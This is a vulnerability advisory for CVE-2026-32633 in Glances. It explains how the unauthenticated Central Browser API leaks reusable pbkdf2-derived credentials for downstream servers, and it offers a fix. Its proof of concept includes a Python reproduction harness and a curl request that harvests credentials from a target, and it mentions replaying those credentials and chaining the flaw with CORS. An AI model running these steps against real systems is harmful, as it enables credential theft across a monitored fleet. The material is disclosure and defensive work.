PT-2026-25820 · Pypi · Glance

Published 2026-03-16 · Updated 2026-03-16 · CVE-2026-32633

OSV

CVSS v3.1

9.1

9.1

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

In Central Browser mode, the

/api/4/serverslist

endpoint returns raw server objects from

GlancesServersList.get servers list()

. Those objects are mutated in-place during background polling and can contain a

uri

field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.

If the front Glances Browser/API instance is started without

--password

, which is supported and common for internal network deployments,

/api/4/serverslist

is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.

Details

The Browser API route simply returns the raw servers list:

# glances/outputs/glances restful api.py:799-805
def api servers list(self):
  self. update servers list()
  return GlancesJSONResponse(self.servers list.get servers list() if self.servers list else [])

The main API router is only protected when the front instance itself was started with

--password

. Otherwise there are no authentication dependencies at all:

# glances/outputs/glances restful api.py:475-480
if self.args.password:
  router = APIRouter(prefix=self.url prefix, dependencies=[Depends(self.authentication)])
else:
  router = APIRouter(prefix=self.url prefix)

The Glances web server binds to

0.0.0.0

by default:

# glances/main.py:425-427
parser.add argument(
  '--bind',
  default='0.0.0.0',
  dest='bind address',
)

During Central Browser polling, server entries are modified in-place and gain a

uri

field:

# glances/servers list.py:141-148
def  update stats(self, server):
  server['uri'] = self.get uri(server)
  ...
  if server['protocol'].lower() == 'rpc':
    self. update stats rpc(server['uri'], server)
  elif server['protocol'].lower() == 'rest' and not import requests error tag:
    self. update stats rest(f"{server['uri']}/api/{ apiversion }", server)

For protected servers,

get uri()

loads the saved password from the

[passwords]

section (or the

default

password), hashes it, and embeds it directly in the URI:

# glances/servers list.py:119-130
def get uri(self, server):
  if server['password'] != "":
    if server['status'] == 'PROTECTED':
      clear password = self.password.get password(server['name'])
      if clear password is not None:
        server['password'] = self.password.get hash(clear password)
    uri = 'http://{}:{}@{}:{}'.format(
      server['username'],
      server['password'],
      server['name'],
      server['port'],
    )
  else:
    uri = 'http://{}:{}'.format(server['name'], server['port'])
  return uri

Password lookup falls back to a global default:

# glances/password list.py:55-58
try:
  return self. password dict[host]
except (KeyError, TypeError):
  return self. password dict['default']

The sample configuration explicitly supports browser-wide default password reuse:

# conf/glances.conf:656-663
[passwords]
# localhost=abc
# default=defaultpassword

The secret embedded in

uri

is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:

# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#   2) the password is hashed with SHA-pbkdf2 hmac (only SHA string transit
password = password hash

# glances/client.py:56-57
if args.password != "":
  self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

The Browser WebUI also consumes that raw

uri

directly and redirects the user to it:

// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;

So once

server.uri

contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.

PoC

Step 1: Verified local live proof that server objects contain credential-bearing URIs

The following command executes the real

glances/servers list.py

update logic against a live local HTTP server that always returns

401

. This forces Glances to mark the downstream server as

PROTECTED

and then retry with the saved/default password. After the second refresh, the in-memory server list contains a

uri

field with embedded credentials.

cd D:bugcrowdglancesrepo
@'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused xmlrpc

pkg = types.ModuleType('glances')
pkg. apiversion  = '4'
sys.modules['glances'] = pkg

client mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused xmlrpc.xmlrpc client.Transport):
  def set timeout(self, timeout):
    self.timeout = timeout
client mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client mod

globals mod = types.ModuleType('glances.globals')
globals mod.json loads = json.loads
sys.modules['glances.globals'] = globals mod

logger mod = types.ModuleType('glances.logger')
logger mod.logger = types.SimpleNamespace(
  debug=lambda *a, **k: None,
  warning=lambda *a, **k: None,
  info=lambda *a, **k: None,
  error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger mod

password list mod = types.ModuleType('glances.password list')
class GlancesPasswordList: pass
password list mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password list'] = password list mod

dynamic mod = types.ModuleType('glances.servers list dynamic')
class GlancesAutoDiscoverServer: pass
dynamic mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers list dynamic'] = dynamic mod

static mod = types.ModuleType('glances.servers list static')
class GlancesStaticServer: pass
static mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers list static'] = static mod

spec = importlib.util.spec from file location('tested servers list', Path('glances/servers list.py'))
mod = importlib.util.module from spec(spec)
spec.loader.exec module(mod)
GlancesServersList = mod.GlancesServersList

class Handler(BaseHTTPRequestHandler):
  def do POST(self):
     = self.rfile.read(int(self.headers.get('Content-Length', '0')))
    self.send response(401)
    self.end headers()
  def log message(self, *args):
    pass

httpd = HTTPServer(('127.0.0.1', 0), Handler)
port = httpd.server address[1]
thread = threading.Thread(target=httpd.serve forever, daemon=True)
thread.start()

class FakePassword:
  def get password(self, host=None):
    return 'defaultpassword'
  def get hash(self, password):
    return f'hash({password})'

sl = GlancesServersList. new (GlancesServersList)
sl.password = FakePassword()
sl. columns = [{'plugin': 'system', 'field': 'hr name'}]
server = {
  'key': f'target:{port}',
  'name': '127.0.0.1',
  'ip': '203.0.113.77',
  'port': port,
  'protocol': 'rpc',
  'username': 'glances',
  'password': '',
  'status': 'UNKNOWN',
  'type': 'STATIC',
}
sl.get servers list = lambda: [server]

sl. GlancesServersList update stats(server)
sl. GlancesServersList update stats(server)
httpd.shutdown()
thread.join(timeout=2)
print(json.dumps(sl.get servers list(), indent=2))
'@ | python -

Verified output:

[
 {
  "key": "target:57390",
  "name": "127.0.0.1",
  "ip": "203.0.113.77",
  "port": 57390,
  "protocol": "rpc",
  "username": "glances",
  "password": null,
  "status": "PROTECTED",
  "type": "STATIC",
  "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390",
  "columns": [
   "system hr name"
  ]
 }
]

This is the same raw object shape that

/api/4/serverslist

returns.

Step 2: Remote reproduction on a live Browser instance

1. Configure Glances Browser mode with a saved default password for downstream servers:

[passwords]
default=SuperSecretBrowserPassword

2. Start the Browser/API instance without front-end authentication:

glances --browser -w -C ./glances.conf

3. Ensure at least one protected downstream server is polled and marked

   PROTECTED

   .
4. From any machine that can reach the Glances Browser API, fetch the raw server list:

curl -s http://TARGET:61208/api/4/serverslist

5. Observe entries like:

{
 "name": "internal-glances.example",
 "status": "PROTECTED",
 "uri": "http://glances:<pbkdf2 hash>@internal-glances.example:61209"
}

Impact

• Unauthenticated credential disclosure: When the front Browser API runs without

  --password

  , any reachable user can retrieve downstream Glances authentication secrets from

  /api/4/serverslist

  .
• Credential replay: The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.
• Fleet-wide blast radius: A single Browser instance can hold passwords for many downstream servers via host-specific entries or

  [passwords] default

  , so one exposed API can disclose credentials for an entire monitored fleet.
• Chains with the earlier CORS issue: Even when the front instance uses

  --password

  , the permissive default CORS behavior can let a malicious website read

  /api/4/serverslist

  from an authenticated browser session and steal the same downstream credentials cross-origin.

Recommended Fix

Do not expose credential-bearing fields in API responses. At minimum, strip

uri

,

password

, and any derived credential material from

/api/4/serverslist

responses and make the frontend derive navigation targets without embedded auth.

# glances/outputs/glances restful api.py

def sanitize server(self, server):
  safe = dict(server)
  safe.pop('password', None)
  safe.pop('uri', None)
  return safe

def api servers list(self):
  self. update servers list()
  servers = self.servers list.get servers list() if self.servers list else []
  return GlancesJSONResponse([self. sanitize server(server) for server in servers])

And in the Browser WebUI, construct navigation URLs from non-secret fields (

ip

,

name

,

port

,

protocol

) instead of trusting a backend-supplied

server.uri

.

Fix

Insufficiently Protected Credentials

Information Disclosure

Weakness Enumeration

CWE-522

CWE-200

Related Identifiers

CVE-2026-32633

GHSA-R297-P3V4-WP8M

Affected Products

Glance

References · 5

• https://osv.dev/vulnerability/GHSA-r297-p3v4-wp8m · Vendor Advisory
• https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m · Note
• https://github.com/nicolargo/glances/releases/tag/v4.5.2 · Note
• https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e · Note
• https://github.com/nicolargo/glances · Note